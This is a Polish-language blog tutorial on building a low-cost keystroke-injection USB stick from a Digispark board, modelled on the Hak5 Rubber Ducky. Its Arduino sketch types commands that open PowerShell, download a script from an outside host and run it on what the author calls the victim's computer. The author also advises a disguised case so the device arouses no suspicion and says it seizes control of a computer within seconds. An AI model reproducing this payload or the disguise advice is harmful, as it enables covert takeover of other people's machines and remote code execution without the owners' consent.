Dzisiaj wpis będący formą tutorialu jak niskim kosztem stworzyć własny programowalny pendrive na wzór drogiego i popularnego Rubber Ducky od Hak5. Będzie on działał na zasadzie klawiatury – podłączony do komputera wpisuje wcześniej zaprogramowaną sekwencję klawiszy.
Pierwszym krokiem jest zakup miniaturowej płytki Arduino opartej na mikrokontrolerze ATtiny85 – Digispark. Najtaniej można znaleźć go u naszych przyjaciół z chin na jednym z popularnych serwisów aukcyjnych. Ceny zaczynają się tam już od 1$ –Digispark
Jako, że czasami występuję problem z wykrywaniem DigiSparka przez niektóre komputery (szczególnie porty USB3), najlepiej od razu zaopatrzyć się w adapter, który rozwiązuje ten problem (koszt około 2$) –Adapter
Gdy zamówiony sprzęt do nas dotrze potrzebujemy do jego zaprogramowania środowiska, którym będzie Adruino IDE –Arduino
Tutorial podłączenia do niego Digisparka możemy znaleźć tutaj –Schemat
Nasz kontroler ma ograniczoną ilość pamięci, więc właściwy payload może się na nim nie zmieścić. Ja obszedłem ten problem umieszczając na nim kod pobierający za pomocą powershella skrypt z payloadem, który z kolei zostanie później uruchomiony na komputerze ofiary:
#include „DigiKeyboard.h”
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print(„powershell”);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print(„$client = new-object System.Net.WebClient”);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print(„$client.DownloadFile(\”https://my127001.pl/script.ps1\” , \”script.ps1\”)”);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT | KEY_R);
DigiKeyboard.delay(750);
DigiKeyboard.print(„powershell.exe -File script.ps1”);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for (;;) {
/*empty*/
}
}
Aby dodatkowo uwiarygodnić wygląd naszego pendriva, tak aby nie wzbudzał podejrzeń warto zaopatrzyć się w drukowaną obudowę np. z projektu pod linkiem –Obudowa
Całość prezentuje się następująco i potrafi przejąć kontrolę nad komputerem ofiary w kilka sekund: